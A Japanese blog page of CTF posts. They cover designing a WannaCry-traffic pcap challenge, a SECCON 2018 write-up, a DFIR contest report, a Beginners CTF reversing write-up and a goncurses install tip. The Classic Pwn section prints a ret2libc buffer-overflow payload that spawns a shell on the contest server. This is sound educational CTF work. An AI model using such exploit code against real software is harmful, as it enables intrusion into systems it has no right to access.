yyy

CTFつよくなりたい

初めてCTFの問題を作ってみた所感

これはAizu Advent Calendar 2018の5日目の記事です.

adventar.org

前の人は id:masaponto さんで,

次は id:acomagu さんです.

はじめに

先月の11月10日(土)に仙台CTF2018というイベントが開催されました.

connpass.com

Day-1は勉強会という形で9月に開催されていて,Day-2となるこのイベントは競技会になっていて,オンサイトで実際にCTFをやるイベントでした.

去年は参加者として参加させて頂いたのですが,今回はひょんなことから運営の補助的な役割をさせて頂けることになりました.そのうちの一つとしてネットワークジャンルの問題を1問作ることになったのが,初めてCTFの問題を作ることになったきっかけです.

少しでも,初めて作問することになった人の参考になればいいなと思い,今回は初めてCTFの問題を作るにあたって気を付けたことや意識したこと,反省点などを述べていきます.

(一応,僕のスペック的なものを述べておくと,CTFが好きで何年か前から参加していますが入賞経験などはなく,たまにWriteupを投稿していたりするぐらいです... また,普段担当しているジャンルはネットワークではないです.)

出題した問題について

ネットワークジャンルには4問あり,他の3問については他の人が担当していて,その人の作成した問題を僕が解いてみて解けるかどうか確認したり,僕の問題のレビューをして頂いたりしていました.

僕が出題する問題は,ちょっとした知見があったりすることから昨年話題になったWannaCryに関係した問題を作ることになりました.

WannaCryに関係する問題ということで最初は2つ問題案を考えました.

  1. 感染が疑われる端末が存在するネットワーク上の通信をキャプチャしたファイルから検体を抽出する
  2. 感染が疑われる端末が存在するネットワーク上の通信をキャプチャしたファイルから感染が疑われる端末を探し出す

問題案1

まず1に関して,WannaCryにはワーム機能があり同一ネットワーク内やランダムなIPアドレスに対して感染を拡大させようとする動きをしますが,この際検体はパケットで一度に送れるサイズの限界上,回数をわけて送る必要があり,この際それぞれのデータ部分をXORで暗号化しているので,この鍵を求めて復号して検体を抽出する問題は面白いのではないかと考えました.

しかしここで,この問題は結果的に「マルウェアの配布」に当たってしまい非常にまずいのではないかと思いました. 昨今マルウェアに関して検挙される事例が増えてきていますし,パケットの検体部分を別の無害なプログラムに書き換えることも考えましたが,結局 問題案2のほうが妥当ではないかと考えました.

問題案2

こちらは,感染が疑われる端末を探し出すというものです.WannaCryに感染した端末が発するパケットは特徴的なので可能ではないかと思いました.この場合は検体を送りつける通信を含めなければ配布にはあたらないですし,感染を広げる段階で暗号化された攻撃コードの一部が含まれますが,これ単体では到底悪用できません.また,この脆弱性をMetasploitを用いて突いたパケットキャプチャファイルが配布されたイベントも過去に日本であったので,これなら法的にも大丈夫ではないかと思い,この問題案で作成することにしました.

作問する時に気をつけたこと

CTFの問題を作る上でのガイドライン的なものをPPPというCTFチームが出していたと思うので,できる限りそれを参考にしました.

github.com

日本チームscryptosが和訳したもの github.com

また,icchyさんが書かれたこちらの記事も参考になるかと思います.

icchy.hatenablog.jp

フラグの形式に関しては全体で指定されているものがなくて各々で考える感じだったのですが,最終的に他の問題のみなさんのフラグを参考にしながら,「感染が疑われる端末のIPアドレス」が妥当かなと思ったのでこれにしました.本当は,HogeCTF{XXXX}などの共通のフォーマットにしたほうが良かったかと思います.(これは一度運営の方に提案してみてもよかったのかなと思っています...) また,より混乱の少ないように問題文にフラグの例を載せるようにしました.

あとはPPPの資料の問題作成の部分になにかヒントがないか読んでみると,ネットワークのことが書いてあるForensicsはあとから追加されたものなのか,和訳がないので原文を参考にしました.

問題の作り方

これに関しては,もう少しいい作り方がなかったのかと反省すべき点が多いです.

不要なパケットは入れるべきではないので,問題に関係するパケットのみを含める必要がありました.なので,VirtualBoxで3台仮想マシンを立ち上げて,内部ネットワークで通信させ,プロミスキャスモードを「すべて許可」にすることで2点間のパケットがもう1台のマシンに対しても流れるようにし,これをパケット収集用のマシンとしました.

それからは,お互いのIPアドレスを変えながら通信させて,その度にパケットを収集した後,それらのパケットを結合することで複数のマシン間で通信しているようなpcapファイルを作りました.(実際にネットワーク問題を作成している人は,複数の端末が通信しているようなpcapファイルを作る場合,どのように作っているのでしょうか...)

また,パケット上の時間に関しては問題文と整合性が合うようにeditcapのiオプションで変更しました.

そんなこんなで作成したpcapファイルは,感染した端末によるARPスキャンが入っていたり,ターゲットにMS17-010の脆弱性がないか確認するパケット,バックドアであるDoublePulsarがないか確認するパケットなどなど,WannaCryに感染した端末が発するパケットが含まれていました.検体がpcapファイル内に含まれていないことも確認した後,このファイルを運営に提出しました.

反省点

・出現するIPアドレスが少なすぎた

これは本当に反省すべき点だなと思っていて,出現するIPアドレスは8つしかなく,問題を見ずとも出現している8つのIPアドレスを全てsubmitすれば解けてしまう問題でした.ですが,僕は一番低い得点である100点のものを作る予定だったので,これは逆に問題を簡単にする一つの要素になったのかなとも思っています.(ですが明らかに欠陥だと思うので,もう少し増やすべきでした...)

・フラグの形式

これは上述の通り,運営の方に一度提案してみてもよかったと思っています.当日,大きな混乱はなかったものの,共通のフラグフォーマットを用いたほうがわかりやすいはずなので.

最後に

当日はほとんどの参加者がこの問題を解いてくれていて,よかったのかなと思うと同時にもう少し悩むような要素を入れるべきだったのかなとも考えていて,出現するIPアドレスは少ない&見るべきパケットの量も少ないので,勘で解かれた人も多いのではないかと思いました.

しかし,僕が参加者に理解してほしかったこととして,昨年あれほど話題になったWannaCryがどのようなパケットを発し,どのように感染を広げていくのか,その過程を少しでもわかってくれたらいいなと思っていて,その為100点問題なのにWriteupが少し長くなってしまったのですが,是非当日解いた方も一度読んでみて理解を深めてくれたら嬉しい限りです.

SECCON 2018 Online CTF Writeup

f:id:ywkw1717:20181028184327p:plain

開催期間(JST)

10/27 PM3:00 ~ 10/28 PM3:00

結果

・チーム名:wabisabi

・得点:1201 pt

・順位:80/653

解いた問題

・Classic Pwn(Pwn 121pt)

・Runme(Reversing 102pt)

・Special Device File(Reversing 231pt)

・Special Instructions(Reversing 262pt)

・QRChecker(QR 222pt)

取り組んだが解けなかった問題

History(Forensics 145pt)

・block(Reversing 362pt)

はじめに

今年も参加していました.もう3年くらいは出ているような?気がする.なかなか決勝が遠いです.今回はチームの初期メンバーで参加していましたが,去年より1ptしか得点変わらないのに順位が90位ぐらい上になっているのでやっぱり全体的に難化していたっぽい?各問題の点数はsolve数によって減っていくやつでした.以下,競技中に解けた問題のWriteupです.

Writeup

Classic Pwn(Pwn 121pt)

$ file classic_aa9e979fd5c597526ef30c003bffee474b314e22
classic_aa9e979fd5c597526ef30c003bffee474b314e22: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a8a02d460f97f6ff0fb4711f5eb207d4a1b41ed8, not stripped

$  checksec classic_aa9e979fd5c597526ef30c003bffee474b314e22
[*] '/home/yyy/ctf/all/seccon2018/pwn/Classic_Pwn/classic_aa9e979fd5c597526ef30c003bffee474b314e22'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64bitでnot stripped.NXビットが有効なのでシェルコード実行とかは難しそう.

$ ./classic_aa9e979fd5c597526ef30c003bffee474b314e22
Classic Pwnable Challenge
Local Buffer >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Have a nice pwn!!
zsh: segmentation fault (core dumped)  ./classic_aa9e979fd5c597526ef30c003bffee474b314e22

Local Bufferに書き込めるが,Buffer Over Flowがある.gdbのpattcでパターンを作り,offsetを調べる.

gdb-peda$ patto AAdAA3AA
AAdAA3AA found at offset: 64

RBPの値("AAdAA3AA")へのoffsetが64だったので,これにプラス8バイトした値がreturn addressへのoffsetになる.

RIPを奪えたので,libcのベースアドレスをリークしたい.

既にアドレス解決されている適当なGOT領域を,mainで使われていたputsなどでリークしていく.この時の戻り値はmainにしておく.以下のようなpayloadになる.(popretガジェットのアドレスはgdb-pedaの中で ropgadget コマンドで調べた)

payload = "A" * 72
payload += p64(popret)
payload += p64(elf.got["gets"])
payload += p64(elf.plt["puts"])
payload += p64(elf.symbols["main"]) # return address

リークしたアドレスからoffsetを引いてlibcのベースアドレスを求める.ついでにsystemへのアドレスも求めておく.以下のようになる.

leak_addr = u64(conn.recv(6) + "\x00\x00")
libc_base = leak_addr - libc.symbols["gets"]
system_addr = libc_base + libc.symbols["system"]

そしたら最後にもう1度stack bofさせてRIPをsystem_addrに移し,シェルを起動させる.

payload = "A" * 72
payload += p64(popret)
payload += p64(libc_base + next(libc.search('/bin/sh')))
payload += p64(system_addr)
payload += p64(0xdeadbeef)

以下が,完成したexploit.

gist.github.com

$ python exploit.py
[+] Opening connection to classic.pwn.seccon.jp on port 17354: Done
[*] '/home/yyy/ctf/all/seccon2018/pwn/Classic_Pwn/classic_aa9e979fd5c597526ef30c003bffee474b314e22'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/yyy/ctf/all/seccon2018/pwn/Classic_Pwn/libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
libc_base: 0x7f183f621000
system_addr: 0x7f183f666390
[*] Switching to interactive mode
Have a nice pwn!!
$ ls
classic
flag.txt
$ cat flag.txt
SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}

Runme(Reversing 102pt)

力技で解いた...

実行すると以下のような画面が出る.

f:id:ywkw1717:20181028170545p:plain

IDA Demoで見てみる. f:id:ywkw1717:20181028170930p:plain

赤く囲ったところの値が変化しているだけの同じような関数がいくつもあるので,その値を1つずつ抽出していった.

f:id:ywkw1717:20181028171105p:plain

抽出した値を元に以下のようなスクリプトを書いておわり.

gist.github.com

$ python solve.py
C:\Temp\SECCON2018Online.exe" SECCON{Runn1n6_P47h}

Special Device File(Reversing 231pt)

$ file runme_8a10b7425cea81a043db0fd352c82a370a2d3373
runme_8a10b7425cea81a043db0fd352c82a370a2d3373: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, not stripped

問題文には坂井さんのcross-gccへのリンクとか,ここら辺見てみたいなのが書いてあったけど,結局自分で調べたりビルドしたものなどを使った.具体的には,qemu-aarch64を使って,gdbでリモートデバッグしながら解析した.(あとは aarch64-linux-gnu-objdump で逆アセンブルしたりとか)

$ qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu runme_8a10b7425cea81a043db0fd352c82a370a2d3373

こうすると1234番ポートで待ち受けてくれるので,gdbから接続するとリモートデバッグできる.gdbgdb-multiarchを使った.

$ gdb-multiarch -q runme_8a10b7425cea81a043db0fd352c82a370a2d3373
Reading symbols from runme_8a10b7425cea81a043db0fd352c82a370a2d3373...(no debugging symbols found)...done.
gdb-peda$ set sysroot /usr/aarch64-linux-gnu/
gdb-peda$ target remote :1234
Remote debugging using :1234
Warning: not running or target is remote
0x0000000000001400 in _start ()
gdb-peda$ b main

あとはステップ実行していくだけ.どうやらSIGSEGVするようなので原因を調べると,スタックに使用しているアドレスが良くないっぽいことがわかったので,スタックのアドレスをspレジスタへ入れていた_startを見てみる.

gdb-peda$ disas
Dump of assembler code for function _start:
=> 0x0000000000001400 <+0>:     ldr     x0, 0x1500 <_start>
   0x0000000000001404 <+4>:     mov     sp, x0
   0x0000000000001408 <+8>:     bl      0x16a4 <main>

0x1500にあるバイナリを見てみると変な値になっているので,vmmapとかでメモリマップを調べてwritableな領域(0x1a60とかにした)にバイナリを書き換えた.(あとでわかったけど,これはファイル中の最後ら辺,exitする辺りのコードだったっぽくて正しく終了しなかったけど,解析への影響は特になかった)

再度実行してみると, /dev/xorshift64 というファイルに固定値を書き込もうとしていることがわかった.だけど,うまくシステムコールが呼べていないっぽくて,逆アセンブル結果を眺めていたらシステムコールを呼ぶところがhlt命令になっていて,終了してしまう理由がわかった.それとシステムコール番号もおかしかったので,調べながら修正した.

修正前 f:id:ywkw1717:20181028173430p:plain

修正後 f:id:ywkw1717:20181028173636p:plain

ここまでの修正で,再度解析してみたところ以下のようなことが分かった.

/dev/xorshift640x139408dcbbf7a44 を書き込んでいて,その後それを読み出している( /dev/xorshift64 は実行者権限で作っておいた)

・flagとrandvalという領域が存在し,randvalから取り出した1バイトと 0x139408dcbbf7a44 から取り出した1バイトをXORして,それとflagの1バイトをXORしている

・flagは32文字

だが,これでフラグが出力されるはずだと思って実行してみても 7NPblTJ.smFB という謎の文字列が出るだけ.これをsubmitしてみても通らないし,ここでものすごく時間を溶かした.

xorshift64というファイル名に注目してみた. どうやら乱数生成の方法にxorshiftという方法があり,ビットごとにxorshift32とかxorshift64などが存在するらしい.

また, 0x139408dcbbf7a44 という値を10進数にした 88172645463325252 を検索してみたところxorshiftのページがヒットした.どうやらこれはシード値っぽい.

ということで,xorshift64で生成した乱数32個の下位1バイトを復号処理に使えばいけるのではと考えて,以下のスクリプトを書いてみたところ正しく復号できた.

gist.github.com

python solve.py
SECCON{UseTheSpecialDeviceFile}

Special Instructions(Reversing 262pt)

終了1時間前に解けた.

Special Device Fileと同じような問題.ただし,fileコマンドではアーキテクチャが表示されず謎アーキ状態だったが,readelfを使ったところMoxieと出た.readelf優秀.

$ file runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be
runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be: ELF 32-bit MSB executable, *unknown arch 0xdf* version 1 (SYSV), statically linked, not stripped

$ readelf -h runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be
ELF ヘッダ:
  マジック:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
  クラス:                            ELF32
  データ:                            2 の補数、ビッグエンディアン
  バージョン:                        1 (current)
  OS/ABI:                            UNIX - System V
  ABI バージョン:                    0
  型:                                EXEC (実行可能ファイル)
  マシン:                            Moxie
  バージョン:                        0x1
  エントリポイントアドレス:               0x1400
  プログラムの開始ヘッダ:          52 (バイト)
  セクションヘッダ始点:          1936 (バイト)
  フラグ:                            0x0
  このヘッダのサイズ:                52 (バイト)
  プログラムヘッダサイズ:            32 (バイト)
  プログラムヘッダ数:                3
  セクションヘッダ:                  40 (バイト)
  セクションヘッダサイズ:            9
  セクションヘッダ文字列表索引:      8

Moxieなんて聞いたこともなかったのでなんやねんそれと思って調べていて,どうにか解析できる環境が構築できないか探っていた.結局以下のリポジトリのものをビルドして,中に入っていたMoxieに使えるgdbを使って解析した.

github.com

とにかく時間がなくて急いでいて,中にqemu-aarch64みたいな感じのqemu-moxieみたいなの入っていないかなと見てみてもなかったので(もしかしたらあったかも),リモートデバッグは諦めて静的解析のみで解いた.

$ moxie-none-moxiebox-gdb -q runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be

mainの逆アセンブル結果.

   0x000015a2 <+0>:     push    $sp, $r6
   0x000015a4 <+2>:     dec     $sp, 0x18
   0x000015a6 <+4>:     ldi.l   $r0, 0x92d68ca2
   0x000015ac <+10>:    jsra    0x154a <set_random_seed>
   0x000015b2 <+16>:    ldi.l   $r6, 0x1480
   0x000015b8 <+22>:    ldi.l   $r0, 0x1
   0x000015be <+28>:    ldi.l   $r1, 0x1654
   0x000015c4 <+34>:    jsr     $r6
   0x000015c6 <+36>:    ldi.l   $r0, 0x1
   0x000015cc <+42>:    ldi.l   $r1, 0x1680
   0x000015d2 <+48>:    jsr     $r6
   0x000015d4 <+50>:    ldi.l   $r0, 0x1
   0x000015da <+56>:    ldi.l   $r1, 0x169c
   0x000015e0 <+62>:    jsr     $r6
   0x000015e2 <+64>:    ldi.l   $r0, 0x1
   0x000015e8 <+70>:    ldi.l   $r1, 0x16ac
   0x000015ee <+76>:    jsr     $r6
   0x000015f0 <+78>:    ldi.l   $r0, 0x1
   0x000015f6 <+84>:    ldi.l   $r1, 0x16c4
   0x000015fc <+90>:    jsr     $r6
   0x000015fe <+92>:    ldi.l   $r0, 0x1
   0x00001604 <+98>:    ldi.l   $r1, 0x16e0
   0x0000160a <+104>:   jsr     $r6
   0x0000160c <+106>:   ldi.l   $r0, 0x1800
   0x00001612 <+112>:   ldi.l   $r1, 0x1820
   0x00001618 <+118>:   jsra    0x1552 <decode>
   0x0000161e <+124>:   mov     $r1, $r0
   0x00001620 <+126>:   ldi.l   $r0, 0x1
   0x00001626 <+132>:   jsr     $r6
   0x00001628 <+134>:   ldi.l   $r0, 0x1
   0x0000162e <+140>:   ldi.l   $r1, 0x167c
   0x00001634 <+146>:   jsr     $r6
   0x00001636 <+148>:   xor     $r0, $r0
   0x00001638 <+150>:   jsra    0x144a <exit>

直感でSpecial Device Fileと同じ形式だなと判断して,set_random_seedに渡しているっぽい 0x92d68ca2 を調べたところ,xorshift32のシード値に使われていたので,これはSpecial Device Fileと同じように復号すればいけそうと考えて,同じようにflagとrandvalを抜き出してきてスクリプトを書いた.

gist.github.com

$ python solve.py
SECCON{MakeSpecialInstructions}

QRChecker(QR 222pt)

終了30分前に解いたやつ.他の問題からの休憩や,ビルド待ちの時にサラっと見てはいたけど,解けてはいなかった.

与えられたURLにアクセスすると以下のようになっていて,pageはQRコードを判定するページ.srcは判定コードのソースコードが見れる.

f:id:ywkw1717:20181028180823p:plain

f:id:ywkw1717:20181028180841p:plain

ソースコードは以下.

#!/usr/bin/env python3
import sys, io, cgi, os
from PIL import Image
import zbarlight
print("Content-Type: text/html")
print("")
codes = set()
sizes = [500, 250, 100, 50]
print('<html><body>')
print('<form action="' + os.path.basename(__file__) + '" method="post" enctype="multipart/form-data">')
print('<input type="file" name="uploadFile"/>')
print('<input type="submit" value="submit"/>')
print('</form>')
print('<pre>')
try:
    form = cgi.FieldStorage()
    data = form["uploadFile"].file.read(1024 * 256)
    image = Image.open(io.BytesIO(data))
    for sz in sizes:
        image = image.resize((sz, sz))
        result = zbarlight.scan_codes('qrcode', image)
        if result == None:
            break
        if 1 < len(result):
            break
        codes.add(result[0])
    for c in sorted(list(codes)):
        print(c.decode())
    if 1 < len(codes):
        print("SECCON{" + open("flag").read().rstrip() + "}")
except:
    pass
print('</pre>')
print('</body></html>')

リサイズしてzbarlight.scan_codesで読み取って,何も読み取れない(None)であればbreak,2つ以上読み取れてもbreakする.どうすればフラグが出るかというと,codesの中身が2つ以上あればいい.つまり,リサイズしていく課程で読み取る値に変化があればいいっぽい.

そこで,少し前に話題になったQRコード脆弱性で,読み取る文字が確率で変わるQRコードがいいのでは,と思った.確か神戸大学の先生が発表していたやつ.

news.yahoo.co.jp

しかし,ここにあるQRコードをスクショして使ってみたところ上手くいかない.もう少し誤認識する確率をあげてみる.このQRコードの仕組みは右側のデータコード語部分と左側のエラー訂正コード語の部分で格納されている文字が違っていて,かつ1ヵ所を灰色っぽい曖昧な色で塗っておくと可能,みたいな感じだったと思うので1ドット灰色っぽくなっているところをWindowsのペイントでもう少し濃くしてみた.(著作権の関係がありそうなので画像は無しで)

出来上がったQRコードを投げてみると無事通った.

f:id:ywkw1717:20181028182939p:plain

取り組んだが解けなかった問題

History(Forensics 145pt)

最後までなんのファイルなのかわからなかった...

WriteupみてみるとUSN Journalとか言っていて,この前のDFIRチャレンジで先輩に教えてもらったやつやん...となった.

block(Reversing 362pt)

f:id:ywkw1717:20181028183826p:plain

apkが配布される.CEDEC CHALLENGEで培った知見が役に立つのではと思ってやってみたけどダメだった.

il2cppは使われていなかったのでAssembly-CSharp.dllをdnspyでデコンパイルしてフラグが回転しているのでrotationのところを回転止めて横にずらすなりすればフラグが見えそうだなと思ったけど,書き換えるのが大変そうだった.nopにして回転止めるのは簡単だったけどそこからは手詰まり.

おわりに

毎年順位は上がっているんだけど,今年はようやく100位以内には入れて,しかも80位ということで大躍進できたんじゃないかなと思う.開始前はPwnとか全然準備してないしあかん...と思ってたけどRevが少し解けたので良かった.Pwnは解かれていた他の2つを解いてみようとしたけど,どちらもヒープ臭がしたので速攻で諦めた.Pwn精進していきたい感がある...

Revのいろんなアーキテクチャ問題は面白かった.xorshiftで生成される乱数の下位1ビットを使って復号するということに気づくまで時間がかかったけど,2つの知らないアーキテクチャアセンブリを読むのは割と楽しかった.

知っている日本チーム数えてみたけど国内決勝は行けなそうなので来年こそは...

「TMCIT × 大和セキュリティ勉強会DFIR忍者チャレンジ」に参加した

f:id:ywkw1717:20181010042807j:plain

はじめに

金銭面的に参加しようか迷っていたのですが,参加してきました.今バイト先でフォレンジック業務を担当していたりすることもあって,めちゃ勉強になることが多く,とても最高な2日間だったので簡単に書いておこうと思います.帰りの夜行バスがめちゃくちゃ辛かったです.

DFIR忍者チャレンジとは

yamatosecurity.connpass.com

初の東京開催となった大和セキュリティさんのイベントであり,フォレンジックコンテストです.10月7日~8日の2日間に渡って開催されました.元々は4月に神戸で開催されたものだとか?当日やることとしては,主催者の田中ザックさんからフォレンジック講義があり,そのあとコンテストの説明後,競技がスタートします.競技はチーム戦なのですが,1チーム4人から6人ぐらいで構成されていて,20チームあったので参加人数は80人以上いたと思います.2日目のお昼頃に報告書を提出し,最終的にTOP8班だけが発表して優勝チームが決定されます.

コンテストの感想

オンラインコンテスト化?される予定らしくて競技の詳しい内容は書けないので,書けることだけ.

前日ぐらいに,元大学の先輩が参加されることがわかったので,当日は合流して一緒のチームとして参加させて頂きました.チームメンバーには監視業務をやられている方や高専生などがいて,計4人のチームでした.会場を見て驚いたのが,某インターンで見かけた企業の人やセキュリティ系のイベントで見かける人だったり,とにかく強そうな方ばかりでしたので,恐る恐る参加していました.

コンテストが始まってからはHDDイメージに関して自分ができることをやっていたり,たまに隣にいた先輩の手伝いをしたりしていました.パケットキャプチャデータとメモリダンプに関しては残りの2人が作業してくれていて,やはり先輩含め社会人のお二人の作業がとても速くてすごかったです.パケットに関しては,見覚えがあるパケットデータを見つけることができ,少し貢献できたかなと思います.それぞれがかき集めた証拠などを元に時系列を作成しながらなにが起きたのかを把握していく様はとてもチームでフォレンジックをしている感を感じました.

結果としてはTOP8に入ることができましたが,やはり他のチームのレベルが高かったです.他のチームの発表では,自分たちがわからなかった部分の詳細などを聞くことができ,どのチームもレベルの高い発表をしていて聞き入ってしまいました.

その後はザックさんから解説があったり表彰式があったり,最後には写真撮影をしてコンテストは終了しました.

初日では情報量がめちゃくちゃ多いザックさんのフォレンジック講義を受けることができたり,2日目では川崎隆哉さんからWindows10の新しいアーティファクトを見つけた話を聞くことができたり,

padawan-4n6.hatenablog.com

コンテストは問題の構成や質がとても高かったり,本当に濃密な2日間でした.

最後になりますが,運営・関係者の皆様,本当に楽しいフォレンジックコンテストを開催していただき,ありがとうございました!

(TOP8はBランク中忍になれるらしいです)

f:id:ywkw1717:20181010042830j:plain

SECCON Beginners CTF 2018 Activation & crackme

はじめに

ちょうど帰省していて,少しだけ時間があったのでぼっちで参加してみました.チーム名は,テレビでFoxチャンネルのリスナーって海外ドラマが流れていたのと,途中でANAのCMが流れていたので"foxana"です.適当です.

本当の初心者しか参加してはいけないのかと思ってたら割といろんな人が参加していたので,メンバーに声かけていつものチームで参加すればよかったかなぁと思いました.

スコアは1014ptで72位でした.Writeupはいろんな人が書いてくれると思うので,僕はReversingのWarmup以外の2問を簡単に書いておきます.

Activation

問題文

この問題の FLAG は ctf4b{アクティベーションコード} です。
$ file Activation.exe
Activation.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

.Net assemblyなのでdnspyでデコンパイルしてみます.

f:id:ywkw1717:20180527135618p:plain

僕の環境だとdriveinfoのところでflagがtrueになってくれなくて(CDドライブがないから?),そもそもアクティベーションコードを入力するところまでいかなかったので,赤くなっている部分にブレークポイントをしかけて無理やりflagをtrueにしました.

f:id:ywkw1717:20180527135957p:plain

重要なのは選択しているif文のところです.ここで,入力したアクティベーションコードが正しいかのチェックをしています. 実行してここでステップインすることで,Cという関数の中でなにをやっているのかを見ていきます.

f:id:ywkw1717:20180527140427p:plain

AESで暗号化しているっぽいので,適当な場所で止めてIVとKeyの値を控えます.

また,これを E2AA8B78-798D-49BF-B9E7-13D334768E86.F() と比較しているのでこれも何が入っているのか調べます.

あとは復号するスクリプトを書くだけです. E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5E2AA8B78-798D-49BF-B9E7-13D334768E86.F() の中身です.

gist.github.com

デコンパイルしたC#コードをそのまま使ったので,実行環境がない人は

paiza.io

とか使うといいかもです.

以上より,フラグは ctf4b{ae03c6f3f9c13e6ee678a92fc2e2dcc5} です.

crackme

問題文

バイナリを解析して、入力値を求めてください。
$ file crackme
crackme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7e64cdb9686f4ec7c55701b9bbf8b69417da0c46, stripped

コマンドライン引数としてフラグを与えて,それが正しいかどうか検証しています.

$ ./crackme
usage: ./crackme <FLAG>%                                                                                                                                                                                 $ ./crackme hoge
Try again...% 

objdumpで逆アセンブルしてみると,mainで2つの関数を読んでいることがわかります.一つは

  400978:   e8 09 fe ff ff         call   400786 <exit@plt+0x2c6>

で,もう1つは

  40098f:    e8 42 fc ff ff         call   4005d6 <exit@plt+0x116>

です.

あとは,具体的な処理を追う為にgdbで実行していきます.

この2つの関数は入力値検証関数で,それぞれ前の16バイト,後ろの16バイトを検証しています. 一つ目の関数を見てみると,検証するための値として,以下の16バイトの値をスタックに置いています.

0032| 0x7fffffffc8f0 --> 0x3f7b64683e8c9e9c
0040| 0x7fffffffc8f8 --> 0x641e73557f0a6350

入力値に対して特定の処理を施した結果がこれらと等しいかどうかを1バイトずつ検証していきます.入力値に対してどのような処理をするのかというと,以下のような処理を4回繰り返すことで16バイトの値それぞれに対して検証しています.これ↓は1周目の値です.meと名前を付けましたが,この変数はスタック上に保存されている値で,これを変化させながら計算処理に使用しています.

# first
入力値の1バイト目とme(0xff)とのxor
0x9cとの比較

# second
me(0xff)と0x15のxor -> me(0xea)
入力値の2バイト目とme(0xea)とのxor
0x9eとの比較

# third
me(0xea)と0x20のor -> me(0xea)
入力値の3バイト目とme(0xea)とのxor
0x8cとの比較

# fourth
me(0xea)と0xfのand -> me(0xa)
入力値の4バイト目とme(0xa)とのxor
0x3eとの比較

どんな処理をしているのかがわかったので,あとは2つ目の検証関数も見ていくだけですが,2つ目の検証関数の処理は少々複雑(他の人のwriteupを見る限り大したことやってない…?なにを見ていたのか…)で,z3で書くのが辛かったので,angrを使ってみました.

以下がangrを使って書いたスクリプトです.

gist.github.com

コマンドライン引数で渡すタイプのangrの書き方がわからなくて,hamaさんのブログを参考にしました.

hama.hatenadiary.jp

(参考というかほぼ丸パクリですね...)

重要なのはfindの部分とavoidの部分で,findはmain関数にて”正しい値か正しくない値かで最後の出力を分岐しているところ”があるので,このアドレスを入れています.avoidに書いた9つの値は,1つは”mainにある間違った値が入力されたときに通る箇所”,もう4つは”検証関数1にて,間違った値が入力されたときに通るアドレス”,残りの4つは”検証関数2にて,間違った値が入力されたときに通る箇所”です.

これを実行するとフラグが出てきます.

$ python solve_angr.py
WARNING | 2018-05-27 14:39:50,238 | angr.analyses.disassembly_utils | Your verison of capstone does not support MIPS instruction groups.
WARNING | 2018-05-27 14:39:51,556 | angr.factory | factory.path_group() is deprecated! Please use factory.simgr() instead.
Deprecation warning: Use eval(expr, cast_to=str) instead of any_str
'ctf4b{D0_y0u_l!k3_x86_4ssembly?}'

よってフラグは, ctf4b{D0_y0u_l!k3_x86_4ssembly?} です.

検証関数1だけの処理を書いて諦めたz3バージョンも載せておきます.このスクリプト,なんとフラグが半分だけ求まります.

gist.github.com

rthornton128/goncursesがgo getで入らない時

はじめに

GWも終わりそうですね. 今回, rthornton128/goncurses を使ってみようとしたらgo getで躓いたのでいろいろ書いておきます.環境はUbuntu16.04 LTSです.

rthornton128/goncurses

github.com

ncursesというTUIを作成するための便利ライブラリがありますが,それをGo言語でも使えるようなものです.

で,こちらをインストールしようと go get したのですが

$ go get -u github.com/rthornton128/goncurses
# pkg-config --cflags ncurses form menu ncurses ncurses panel
Package ncurses was not found in the pkg-config search path.
Perhaps you should add the directory containing `ncurses.pc'
to the PKG_CONFIG_PATH environment variable
No package 'ncurses' found
Package form was not found in the pkg-config search path.
Perhaps you should add the directory containing `form.pc'
to the PKG_CONFIG_PATH environment variable
No package 'form' found
Package menu was not found in the pkg-config search path.
Perhaps you should add the directory containing `menu.pc'
to the PKG_CONFIG_PATH environment variable
No package 'menu' found
Package ncurses was not found in the pkg-config search path.
Perhaps you should add the directory containing `ncurses.pc'
to the PKG_CONFIG_PATH environment variable
No package 'ncurses' found
Package ncurses was not found in the pkg-config search path.
Perhaps you should add the directory containing `ncurses.pc'
to the PKG_CONFIG_PATH environment variable
No package 'ncurses' found
Package panel was not found in the pkg-config search path.
Perhaps you should add the directory containing `panel.pc'
to the PKG_CONFIG_PATH environment variable
No package 'panel' found
pkg-config: exit status 1

このようなエラーが出てしまいインストールできませんでした.思い当たる節としては,そもそもncurses入れてなかったので,まずはncursesをインストールしていきます.

yaneno-suzume.at.webry.info

ちょうど,同じ環境で試してる人がいましたがgccのバージョンの問題で最新版が入らないと書いてあります.僕のgccはこの5.31よりは新しい5.4だったので入るかもしれませんでしたが,確実に入りそうなncurses-5.7を入れることにしました.

$ wget http://ftp.gnu.org/gnu/ncurses/ncurses-5.7.tar.gz
$ tar -xvzf ncurses-5.7.tar.gz
$ cd ncurses-5.7
$ ./configure
$ make
$ sudo make install

これでncursesは入りましたが go get で出ていたエラーは全て,pcファイルを PKG_CONFIG_PATH に追加するべきだ,みたいなやつです. PKG_CONFIG_PATH ってなんだと思い調べてみると, /usr/lib/pkgconfig または /usr/local/lib/pkgconfig を通せばいいっぽいです.

askubuntu.com

